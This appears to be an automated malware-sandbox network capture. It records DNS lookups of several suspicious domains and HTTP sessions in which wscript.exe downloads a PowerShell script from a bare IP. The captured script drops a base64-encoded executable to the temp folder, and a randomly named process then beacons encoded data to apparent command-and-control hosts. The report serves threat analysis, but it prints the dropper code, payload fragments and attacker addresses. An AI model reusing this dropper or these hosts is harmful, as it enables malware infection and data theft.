Feb 18, 2025 08:16:14.372797966 CET	80	52663	13.248.169.48	192.168.2.4
Feb 18, 2025 08:16:19.397725105 CET	52664	80	192.168.2.4	47.83.1.90
Feb 18, 2025 08:16:19.402599096 CET	80	52664	47.83.1.90	192.168.2.4
Feb 18, 2025 08:16:19.402827024 CET	52664	80	192.168.2.4	47.83.1.90
Feb 18, 2025 08:16:19.431338072 CET	52664	80	192.168.2.4	47.83.1.90
Feb 18, 2025 08:16:19.436305046 CET	80	52664	47.83.1.90	192.168.2.4
Feb 18, 2025 08:16:20.933176041 CET	52664	80	192.168.2.4	47.83.1.90
Feb 18, 2025 08:16:20.938302994 CET	80	52664	47.83.1.90	192.168.2.4
Feb 18, 2025 08:16:20.938646078 CET	52664	80	192.168.2.4	47.83.1.90
Feb 18, 2025 08:16:22.530366898 CET	52665	80	192.168.2.4	47.83.1.90
Feb 18, 2025 08:16:22.536744118 CET	80	52665	47.83.1.90	192.168.2.4
Feb 18, 2025 08:16:22.536909103 CET	52665	80	192.168.2.4	47.83.1.90
Feb 18, 2025 08:16:22.552894115 CET	52665	80	192.168.2.4	47.83.1.90
Feb 18, 2025 08:16:22.557832003 CET	80	52665	47.83.1.90	192.168.2.4
Feb 18, 2025 08:16:24.058104038 CET	52665	80	192.168.2.4	47.83.1.90
Feb 18, 2025 08:16:24.063409090 CET	80	52665	47.83.1.90	192.168.2.4
Feb 18, 2025 08:16:24.063615084 CET	52665	80	192.168.2.4	47.83.1.90
Feb 18, 2025 08:16:25.078946114 CET	52666	80	192.168.2.4	47.83.1.90
Feb 18, 2025 08:16:25.084542990 CET	80	52666	47.83.1.90	192.168.2.4
Feb 18, 2025 08:16:25.084702969 CET	52666	80	192.168.2.4	47.83.1.90
Feb 18, 2025 08:16:25.102543116 CET	52666	80	192.168.2.4	47.83.1.90
Feb 18, 2025 08:16:25.107480049 CET	80	52666	47.83.1.90	192.168.2.4
Feb 18, 2025 08:16:25.107492924 CET	80	52666	47.83.1.90	192.168.2.4
Feb 18, 2025 08:16:25.107502937 CET	80	52666	47.83.1.90	192.168.2.4
Feb 18, 2025 08:16:25.107512951 CET	80	52666	47.83.1.90	192.168.2.4
Feb 18, 2025 08:16:25.107547998 CET	80	52666	47.83.1.90	192.168.2.4
Feb 18, 2025 08:16:25.107558012 CET	80	52666	47.83.1.90	192.168.2.4
Feb 18, 2025 08:16:25.107568026 CET	80	52666	47.83.1.90	192.168.2.4
Feb 18, 2025 08:16:25.107578993 CET	80	52666	47.83.1.90	192.168.2.4
Feb 18, 2025 08:16:25.108232021 CET	80	52666	47.83.1.90	192.168.2.4
Feb 18, 2025 08:16:26.604887009 CET	52666	80	192.168.2.4	47.83.1.90
Feb 18, 2025 08:16:26.609961987 CET	80	52666	47.83.1.90	192.168.2.4
Feb 18, 2025 08:16:26.610028982 CET	52666	80	192.168.2.4	47.83.1.90
Feb 18, 2025 08:16:27.624130964 CET	52667	80	192.168.2.4	47.83.1.90
Feb 18, 2025 08:16:27.632276058 CET	80	52667	47.83.1.90	192.168.2.4
Feb 18, 2025 08:16:27.632359982 CET	52667	80	192.168.2.4	47.83.1.90
Feb 18, 2025 08:16:27.642092943 CET	52667	80	192.168.2.4	47.83.1.90
Feb 18, 2025 08:16:27.647129059 CET	80	52667	47.83.1.90	192.168.2.4
Feb 18, 2025 08:16:29.218359947 CET	80	52667	47.83.1.90	192.168.2.4
Feb 18, 2025 08:16:29.218580008 CET	80	52667	47.83.1.90	192.168.2.4
Feb 18, 2025 08:16:29.221357107 CET	52667	80	192.168.2.4	47.83.1.90

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Feb 18, 2025 08:14:34.721098900 CET	53	57240	1.1.1.1	192.168.2.4
Feb 18, 2025 08:15:07.467345953 CET	51348	53	192.168.2.4	1.1.1.1
Feb 18, 2025 08:15:07.484230995 CET	53	51348	1.1.1.1	192.168.2.4
Feb 18, 2025 08:15:23.296438932 CET	56853	53	192.168.2.4	1.1.1.1
Feb 18, 2025 08:15:23.425215006 CET	53	56853	1.1.1.1	192.168.2.4
Feb 18, 2025 08:15:36.576271057 CET	63198	53	192.168.2.4	1.1.1.1
Feb 18, 2025 08:15:36.587939978 CET	53	63198	1.1.1.1	192.168.2.4
Feb 18, 2025 08:15:49.812748909 CET	56885	53	192.168.2.4	1.1.1.1
Feb 18, 2025 08:15:49.824531078 CET	53	56885	1.1.1.1	192.168.2.4
Feb 18, 2025 08:16:03.077060938 CET	59505	53	192.168.2.4	1.1.1.1
Feb 18, 2025 08:16:03.191140890 CET	53	59505	1.1.1.1	192.168.2.4
Feb 18, 2025 08:16:19.375844955 CET	61177	53	192.168.2.4	1.1.1.1
Feb 18, 2025 08:16:19.394052029 CET	53	61177	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Feb 18, 2025 08:15:07.467345953 CET	192.168.2.4	1.1.1.1	0x7937	Standard query (0)	www.lucynoel6465.shop	A (IP address)	IN (0x0001)	false
Feb 18, 2025 08:15:23.296438932 CET	192.168.2.4	1.1.1.1	0xf27d	Standard query (0)	www.travel-cure.sbs	A (IP address)	IN (0x0001)	false
Feb 18, 2025 08:15:36.576271057 CET	192.168.2.4	1.1.1.1	0xdc0b	Standard query (0)	www.physicsbrain.xyz	A (IP address)	IN (0x0001)	false
Feb 18, 2025 08:15:49.812748909 CET	192.168.2.4	1.1.1.1	0xb2ed	Standard query (0)	www.infiniteve.xyz	A (IP address)	IN (0x0001)	false
Feb 18, 2025 08:16:03.077060938 CET	192.168.2.4	1.1.1.1	0xc46a	Standard query (0)	www.weilaishijie.xyz	A (IP address)	IN (0x0001)	false
Feb 18, 2025 08:16:19.375844955 CET	192.168.2.4	1.1.1.1	0xdc90	Standard query (0)	www.dqvcbn.info	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Feb 18, 2025 08:15:07.484230995 CET	1.1.1.1	192.168.2.4	0x7937	No error (0)	www.lucynoel6465.shop	104.21.16.1	A (IP address)	IN (0x0001)	false
Feb 18, 2025 08:15:07.484230995 CET	1.1.1.1	192.168.2.4	0x7937	No error (0)	www.lucynoel6465.shop	104.21.112.1	A (IP address)	IN (0x0001)	false
Feb 18, 2025 08:15:07.484230995 CET	1.1.1.1	192.168.2.4	0x7937	No error (0)	www.lucynoel6465.shop	104.21.48.1	A (IP address)	IN (0x0001)	false
Feb 18, 2025 08:15:07.484230995 CET	1.1.1.1	192.168.2.4	0x7937	No error (0)	www.lucynoel6465.shop	104.21.32.1	A (IP address)	IN (0x0001)	false
Feb 18, 2025 08:15:07.484230995 CET	1.1.1.1	192.168.2.4	0x7937	No error (0)	www.lucynoel6465.shop	104.21.80.1	A (IP address)	IN (0x0001)	false
Feb 18, 2025 08:15:07.484230995 CET	1.1.1.1	192.168.2.4	0x7937	No error (0)	www.lucynoel6465.shop	104.21.64.1	A (IP address)	IN (0x0001)	false
Feb 18, 2025 08:15:07.484230995 CET	1.1.1.1	192.168.2.4	0x7937	No error (0)	www.lucynoel6465.shop	104.21.96.1	A (IP address)	IN (0x0001)	false
Feb 18, 2025 08:15:23.425215006 CET	1.1.1.1	192.168.2.4	0xf27d	No error (0)	www.travel-cure.sbs	199.59.243.160	A (IP address)	IN (0x0001)	false
Feb 18, 2025 08:15:36.587939978 CET	1.1.1.1	192.168.2.4	0xdc0b	No error (0)	www.physicsbrain.xyz	13.248.169.48	A (IP address)	IN (0x0001)	false
Feb 18, 2025 08:15:36.587939978 CET	1.1.1.1	192.168.2.4	0xdc0b	No error (0)	www.physicsbrain.xyz	76.223.54.146	A (IP address)	IN (0x0001)	false
Feb 18, 2025 08:15:49.824531078 CET	1.1.1.1	192.168.2.4	0xb2ed	No error (0)	www.infiniteve.xyz	162.0.231.203	A (IP address)	IN (0x0001)	false
Feb 18, 2025 08:16:03.191140890 CET	1.1.1.1	192.168.2.4	0xc46a	No error (0)	www.weilaishijie.xyz	13.248.169.48	A (IP address)	IN (0x0001)	false
Feb 18, 2025 08:16:03.191140890 CET	1.1.1.1	192.168.2.4	0xc46a	No error (0)	www.weilaishijie.xyz	76.223.54.146	A (IP address)	IN (0x0001)	false
Feb 18, 2025 08:16:19.394052029 CET	1.1.1.1	192.168.2.4	0xdc90	No error (0)	www.dqvcbn.info	47.83.1.90	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

196.251.92.64

www.lucynoel6465.shop

www.travel-cure.sbs

www.physicsbrain.xyz

www.infiniteve.xyz

www.weilaishijie.xyz

www.dqvcbn.info

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49731	196.251.92.64	80	6892	C:\Windows\System32\wscript.exe

Timestamp	Bytes transferred	Direction	Data
Feb 18, 2025 08:14:23.383867979 CET	331	OUT	GET /crypt/popo.ps1 HTTP/1.1 Accept: / Accept-Language: en-ch UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: 196.251.92.64 Connection: Keep-Alive
Feb 18, 2025 08:14:24.092175007 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 18 Feb 2025 07:14:23 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 Last-Modified: Tue, 18 Feb 2025 05:47:14 GMT ETag: "86878-62e642c43d096" Accept-Ranges: bytes Content-Length: 551032 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Data Raw: 24 70 3d 5b 49 4f 2e 50 61 74 68 5d 3a 3a 43 6f 6d 62 69 6e 65 28 24 65 6e 76 3a 54 45 4d 50 2c 22 78 2e 65 78 65 22 29 0d 0a 5b 49 4f 2e 46 69 6c 65 5d 3a 3a 57 72 69 74 65 41 6c 6c 42 79 74 65 73 28 24 70 2c 5b 43 6f 6e 76 65 72 74 5d 3a 3a 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 28 22 54 56 71 51 41 41 4d 41 41 41 41 45 41 41 41 41 2f 2f 38 41 41 4c 67 41 41 41 41 41 41 41 41 41 51 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 67 41 41 41 41 41 34 66 75 67 34 41 74 41 6e 4e 49 62 67 42 54 4d 30 68 56 47 68 70 63 79 42 77 63 6d 39 6e 63 6d 46 74 49 47 4e 68 62 6d 35 76 64 43 42 69 5a 53 42 79 64 57 34 67 61 57 34 67 52 45 39 54 49 47 31 76 5a 47 55 75 44 51 30 4b 4a 41 41 41 41 41 41 41 41 41 42 51 52 51 41 41 54 41 45 44 41 4b 30 65 74 47 63 41 41 41 41 41 41 41 41 41 41 4f 41 41 44 67 45 4c 41 54 41 41 41 45 51 47 41 41 42 4b 42 67 41 41 41 41 41 41 79 6d 4d 47 41 41 41 67 41 41 41 41 67 41 59 [TRUNCATED] Data Ascii: $p=[IO.Path]::Combine($env:TEMP,"x.exe")[IO.File]::WriteAllBytes($p,[Convert]::FromBase64String("TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAATAEDAK0etGcAAAAAAAAAAOAADgELATAAAEQGAABKBgAAAAAAymMGAAAgAAAAgAYAAABAAAAgAAAAAgAABAAAAAAAAAAEAAAAAAAAAADABgAAAgAAAAAAAAIAYIUAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAAHBjBgBXAAAAAKAGAIgFAAAAAAAAAAAAAAAAAAAAAAAAAIAGAAwAAADI+QUAHAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAACAAAAAAAAAAAAAAACCAAAEgAAAAAAAAAAAAAAC50ZXh0AAAA0EMGAAAgAAAARAYAAAIAAAAAAAAAAAAAAAAAACAAAGAucmVsb2MAAAwAAAAAgAYAAAIAAABGBgAAAAAAAAAAAAAAAABAAABCLnJzcmMAAACIBQAAAKAGAAAGAAAASAYAAAAAAAAAAAAAAAAAQAAAQAAAAAAAAAAAAAAAAAAAAACsYwYAAAAAAEgAAAACAAUAOPoFADhpAAADAAAABAAABqRIAAAksQUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACIAKB0AAAYAKgAAAAMwCQAIAAAAAAAAAAIoEAAABgAqEzAEAE8AAAABAAAR
Feb 18, 2025 08:14:24.092207909 CET	1236	IN	Data Raw: 63 79 55 41 41 41 59 4b 42 69 6a 34 41 41 41 47 4a 53 5a 39 42 67 41 41 42 41 59 43 66 51 63 41 41 41 51 47 41 33 30 49 41 41 41 45 42 67 52 39 43 51 41 41 42 41 59 57 4b 43 6f 41 41 41 5a 39 42 51 41 41 42 41 5a 38 42 67 41 41 42 42 49 41 4b 41 Data Ascii: cyUAAAYKBij4AAAGJSZ9BgAABAYCfQcAAAQGA30IAAAEBgR9CQAABAYWKCoAAAZ9BQAABAZ8BgAABBIAKAEAACsGfAYAAAQodQAABiUmKgATMAQARQAAAAIAABEAFygxAAAGJSYoLwEABgofQigxAAAGJSYoLwEABiUmCx9bKDEAAAYlJgwIBgcoAwAABiUmKEoAAAYlJg0SAyjUAAAGACoAAAATMAQAFwAAAAMAABEAAigvAQA
Feb 18, 2025 08:14:24.092230082 CET	1236	IN	Data Raw: 48 31 51 6f 4b 67 41 41 42 67 77 49 4c 42 4d 41 49 4b 54 4c 43 77 41 6f 4d 51 41 41 42 69 6a 6f 41 41 41 47 4a 53 5a 36 41 41 59 4e 4b 77 41 4a 4b 68 4d 77 42 67 41 68 41 41 41 41 43 41 41 41 45 51 41 66 57 43 67 71 41 41 41 47 43 67 49 44 42 42 Data Ascii: H1QoKgAABgwILBMAIKTLCwAoMQAABijoAAAGJSZ6AAYNKwAJKhMwBgAhAAAACAAAEQAfWCgqAAAGCgIDBB9cKCoAAAYSACgYAAAGJSYLKwAHKgAAABMwBgBwAAAACQAAEQAEBR9gKCoAAAZYKGQBAAYlJgoCAwYfZCgqAAAGH2goKgAABigWAAAGJSYLBx9sKCoAAAb+AQwILDAYRQEAAAD2////Fy0G0AsAAAYmACDdywsAKDE
Feb 18, 2025 08:14:24.092236042 CET	1236	IN	Data Raw: 42 67 30 41 43 53 44 59 41 41 41 41 4b 43 6f 41 41 41 62 2b 41 52 4d 47 45 51 59 73 48 78 74 46 41 51 41 41 41 50 62 2f 2f 2f 38 41 49 4e 58 4d 43 77 41 6f 4d 51 41 41 42 69 55 6d 4b 4f 67 41 41 41 59 6c 4a 6e 70 2f 42 41 41 41 42 48 73 4e 41 41 Data Ascii: Bg0ACSDYAAAAKCoAAAb+ARMGEQYsHxtFAQAAAPb///8AINXMCwAoMQAABiUmKOgAAAYlJnp/BAAABHsNAAAEKBEAAAYlJiDcAAAAKCoAAAb+ARMHEQcsHxdFAQAAAPb///8AIBbNCwAoMQAABiUmKOgAAAYlJnoqAAADMAkABwAAAAAAAAACKGIAAAoqABMwAgAHAAAADAAAEQACCisABioAAzAJAAgAAAAAAAAAAigrAAAKACo
Feb 18, 2025 08:14:24.092237949 CET	896	IN	Data Raw: 41 41 41 47 41 4e 77 47 4c 42 45 63 52 51 45 41 41 41 44 32 2f 2f 2f 2f 42 69 68 59 41 41 41 47 41 4e 77 52 42 43 6f 41 41 41 45 30 41 41 41 43 41 49 38 41 4c 37 34 41 48 67 41 41 41 41 41 43 41 48 73 41 59 64 77 41 43 77 41 41 41 41 41 43 41 48 Data Ascii: AAAGANwGLBEcRQEAAAD2////BihYAAAGANwRBCoAAAE0AAACAI8AL74AHgAAAAACAHsAYdwACwAAAAACAHUAcucACwAAAAACAAkA6fIAFQAAAAADMAkACAAAAAAAAAACKCsAAAoAKhswBQDKAAAAEgAAEQJ7BQAABAoAAgJ7BwAABAJ7CAAABAJ7CQAABCgFAAAGJSZ9CgAABAJ7CgAABH6cAAAE/gMLByw9AAIoNwEABiUmIGr
Feb 18, 2025 08:14:24.218756914 CET	1236	IN	Data Raw: 41 35 45 67 66 2f 2f 2f 2f 31 38 65 59 67 6f 47 66 68 6b 41 41 41 51 44 46 31 69 52 59 41 6f 44 47 46 6a 2b 43 77 45 41 4b 30 46 2b 47 51 41 41 42 41 4f 52 49 44 2f 2f 2f 2f 39 66 48 78 68 69 43 67 5a 2b 47 51 41 41 42 41 4d 58 57 4a 45 66 45 47 Data Ascii: A5Egf////18eYgoGfhkAAAQDF1iRYAoDGFj+CwEAK0F+GQAABAORID////9fHxhiCgZ+GQAABAMXWJEfEGJgCgZ+GQAABAMYWJEeYmAKBn4ZAAAEAxlYkWAKAxpY/gsBAAYXLwEqfhkAAAQDAhYGKBwAAAoqAAATMAUARQAAABMAABF+HAAABC09cm0AAHAKBig/AAAKJSYLKGQAAAolJgcWB45pb2UAAAoKKBEAAAolJgZvFwA
Feb 18, 2025 08:14:24.218781948 CET	224	IN	Data Raw: 41 41 59 4b 33 67 30 6d 48 32 46 71 41 79 67 34 41 41 41 47 43 74 34 41 42 69 6f 42 45 41 41 41 41 41 41 41 41 41 6b 4a 41 41 30 68 41 41 41 42 45 7a 41 48 41 44 4d 44 41 41 41 5a 41 41 41 52 41 79 69 53 41 41 41 47 4a 53 59 4b 42 67 74 2b 62 67 Data Ascii: AAYK3g0mH2FqAyg4AAAGCt4ABioBEAAAAAAAAAkJAA0hAAABEzAHADMDAAAZAAARAyiSAAAGJSYKBgt+bgAABAwXDSsNBiiaAAAGJSYmCRdYDQkaMu8GKJoAAAYlJtETBBEEZtETBBEEGF85/AEAACjQAAAGJSYTBR4oVwEABiUmEwYGEQYWHiijAAAGJSYmEQURBihJAQAGHihXAQAGEwcGEQcWHiij
Feb 18, 2025 08:14:24.218811989 CET	1236	IN	Data Raw: 41 41 41 47 4a 53 59 6d 46 78 4d 49 45 51 63 54 46 68 59 54 46 79 73 70 45 52 59 52 46 35 45 54 43 52 45 4a 4c 42 67 58 52 51 45 41 41 41 44 32 2f 2f 2f 2f 46 79 30 47 30 44 67 41 41 41 59 6d 46 68 4d 49 4b 78 34 52 46 78 64 59 45 78 63 52 46 78 Data Ascii: AAAGJSYmFxMIEQcTFhYTFyspERYRF5ETCREJLBgXRQEAAAD2////Fy0G0DgAAAYmFhMIKx4RFxdYExcRFxEWKFwBAAYlJmkyyRpFAQAAAPb///8RCCwYF0UBAAAA9v///yhxAAAGKDUAAAYlJhMHEQURByjsAAAGfiEAAAQtRBpFAQAAAPb///9+HwAABCD///9/Mx8dRQEAAAD2////fiEAAAQGKEUBAAYlJmkoVgEABisPfiE
Feb 18, 2025 08:14:24.218830109 CET	1236	IN	Data Raw: 62 51 41 41 43 69 68 77 41 41 41 4b 4a 53 59 4d 43 43 67 34 41 51 41 47 4a 53 59 4c 33 67 4d 6d 2f 68 6f 47 49 43 67 45 41 41 42 76 63 51 41 41 43 68 4d 51 46 68 4d 52 4f 4b 51 42 41 41 41 52 45 42 45 52 6d 67 30 48 62 33 49 41 41 41 6f 73 48 78 Data Ascii: bQAACihwAAAKJSYMCCg4AQAGJSYL3gMm/hoGICgEAABvcQAAChMQFhMROKQBAAAREBERmg0Hb3IAAAosHxdFAQAAAPb///8Jb3MAAAoHKHQAAAolJhMEOGMBAAAHb3UAAAoTBREFKFQAAAYlJmkXWBMGEQYoSwAABiUmEwcHb3YAAApvdwAACiUmLB0aRQEAAAD2////EQcWB292AAAKb3gAAAolJqIrEhEHFig9AQAGJSYoEAA
Feb 18, 2025 08:14:24.218847990 CET	1236	IN	Data Raw: 43 68 45 47 46 7a 45 57 47 6b 55 42 41 41 41 41 39 76 2f 2f 2f 78 45 4b 66 6e 38 41 41 41 70 76 66 67 41 41 43 68 45 47 47 44 45 57 46 30 55 42 41 41 41 41 39 76 2f 2f 2f 78 45 4b 66 6f 41 41 41 41 70 76 66 67 41 41 43 68 45 47 47 54 45 57 47 6b Data Ascii: ChEGFzEWGkUBAAAA9v///xEKfn8AAApvfgAAChEGGDEWF0UBAAAA9v///xEKfoAAAApvfgAAChEGGTEWGkUBAAAA9v///xEKfoEAAApvfgAAChEGGjEzF0UBAAAA9v///xoTCysUEQp+ggAAChELb4MAAAoRCxdYEwsRCxEGMuYZRQEAAAD2////EQp+iwAACgdvjAAAChEKfogAAApvfgAAChEJBm+JAAAKJSYTBAkUEQRvigA
Feb 18, 2025 08:14:24.218868017 CET	672	IN	Data Raw: 52 51 41 41 42 69 6f 41 41 46 59 67 45 77 41 41 41 69 41 49 41 41 41 4b 49 50 2f 2f 2f 77 41 6f 50 41 41 41 42 69 6f 41 41 44 4a 2b 61 67 41 41 42 41 49 6f 53 51 41 41 42 69 6f 41 41 41 41 65 41 6f 31 56 41 41 41 42 4b 6c 59 67 46 51 41 41 41 69 Data Ascii: RQAABioAAFYgEwAAAiAIAAAKIP///wAoPAAABioAADJ+agAABAIoSQAABioAAAAeAo1VAAABKlYgFQAAAiAJAAAKIP///wAoPAAABioAADZ+awAABAIDKE4AAAYqAABWIBYAAAIgCgAACiD///8AKDwAAAYqAAA6fmwAAAQCAwQoUgAABioADgKOKlYgGAAAAiALAAAKIP///wAoPAAABioAADJ+bQAABAIoVwAABioAAAAKACo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	52381	104.21.16.1	80	2924	C:\Program Files (x86)\OVrzdtpAJkUFNFxlpUNgueJzbCMfzzemcypfNUNWleVznMyEoygbG\sxkv2RIDKUVCF4X010eCnC.exe

Timestamp	Bytes transferred	Direction	Data
Feb 18, 2025 08:15:07.511040926 CET	572	OUT	GET /9gtw/?JZfd=bFQVCxzo4meVUPRnP0n3FR5ZzBASsiXRVHB0uPlWJiDXwsbOt8zcfdxm4ktJdQTn5zPq+Y8ykDyEtSWLtIWRcrie4i7GHURObbczaEgRbEWCMNyWzbPKN50=&28t=_DlH9FNpJbu HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-us Host: www.lucynoel6465.shop Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; GTB7.5; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30618; .NET4.0C; BRI/1)
Feb 18, 2025 08:15:08.250482082 CET	776	IN	HTTP/1.1 404 Not Found Date: Tue, 18 Feb 2025 07:15:08 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Avh9oG%2FGUuJNIk6FyMX5v4igg5uPyGtSmqokcByDkVEsaFhOp2B4HitzxqRiwXYsWV9akBw4X0sO0%2FoVGAi1O1OClzVow30sBGvHn%2F8NKtnvFqPqgGsAgnCSR5VRlCuTowlApyoWQ8E%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 913c39665fed72a1-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1902&min_rtt=1902&rtt_var=951&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=572&delivery_rate=0&cwnd=197&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
Feb 18, 2025 08:15:08.250940084 CET	567	IN	Data Raw: 32 32 62 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f Data Ascii: 22b<html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	52479	199.59.243.160	80	2924	C:\Program Files (x86)\OVrzdtpAJkUFNFxlpUNgueJzbCMfzzemcypfNUNWleVznMyEoygbG\sxkv2RIDKUVCF4X010eCnC.exe

Timestamp	Bytes transferred	Direction	Data
Feb 18, 2025 08:15:23.448081017 CET	837	OUT	POST /0c5p/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-us Host: www.travel-cure.sbs Origin: http://www.travel-cure.sbs Referer: http://www.travel-cure.sbs/0c5p/ Content-Type: application/x-www-form-urlencoded Content-Length: 201 Connection: close Cache-Control: max-age=0 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; GTB7.5; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30618; .NET4.0C; BRI/1) Data Raw: 4a 5a 66 64 3d 55 6d 38 7a 57 4d 39 35 69 53 30 62 71 49 62 71 47 43 57 42 45 36 58 47 70 77 57 55 78 59 33 35 52 47 59 79 59 6a 74 72 66 31 4f 7a 6e 49 49 6c 49 30 4e 66 61 76 41 53 51 48 4c 76 30 70 49 4c 53 32 72 73 70 36 39 63 37 62 45 4e 6f 51 69 43 64 54 6b 30 61 2b 55 4b 67 52 73 50 57 42 4d 46 4b 48 6f 50 37 2f 5a 43 74 48 76 64 2b 39 43 6e 68 51 6c 63 44 2f 72 45 67 77 67 39 62 50 73 31 52 62 56 6b 50 75 68 62 53 45 4e 47 37 35 38 57 5a 39 75 37 4c 6a 42 43 47 36 75 63 42 34 4f 55 66 39 7a 53 48 44 38 79 6a 79 6c 4b 62 62 67 31 5a 4e 35 5a 39 33 64 73 74 71 45 71 6f 66 43 6a 46 51 3d 3d Data Ascii: JZfd=Um8zWM95iS0bqIbqGCWBE6XGpwWUxY35RGYyYjtrf1OznIIlI0NfavASQHLv0pILS2rsp69c7bENoQiCdTk0a+UKgRsPWBMFKHoP7/ZCtHvd+9CnhQlcD/rEgwg9bPs1RbVkPuhbSENG758WZ9u7LjBCG6ucB4OUf9zSHD8yjylKbbg1ZN5Z93dstqEqofCjFQ==
Feb 18, 2025 08:15:23.924133062 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 18 Feb 2025 07:15:23 GMT Content-Type: text/html; charset=utf-8 Content-Length: 1126 X-Request-Id: f809613a-3212-44e0-a399-20520b573667 Cache-Control: no-store, max-age=0 Accept-Ch: sec-ch-prefers-color-scheme Critical-Ch: sec-ch-prefers-color-scheme Vary: sec-ch-prefers-color-scheme X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_e4LRkG2QSEWcowdhadwDkA8W0GljayBrE04mOmc4IHhxHJACsyzw3zLKOJGAlb6QwDIaPOFVnyDGa0kNE8Ip+w== Set-Cookie: parking_session=f809613a-3212-44e0-a399-20520b573667; expires=Tue, 18 Feb 2025 07:30:23 GMT; path=/ Connection: close Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 65 34 4c 52 6b 47 32 51 53 45 57 63 6f 77 64 68 61 64 77 44 6b 41 38 57 30 47 6c 6a 61 79 42 72 45 30 34 6d 4f 6d 63 34 49 48 68 78 48 4a 41 43 73 79 7a 77 33 7a 4c 4b 4f 4a 47 41 6c 62 36 51 77 44 49 61 50 4f 46 56 6e 79 44 47 61 30 6b 4e 45 38 49 70 2b 77 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 32 42 32 42 32 42 3b 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d [TRUNCATED] Data Ascii: <!doctype html><html 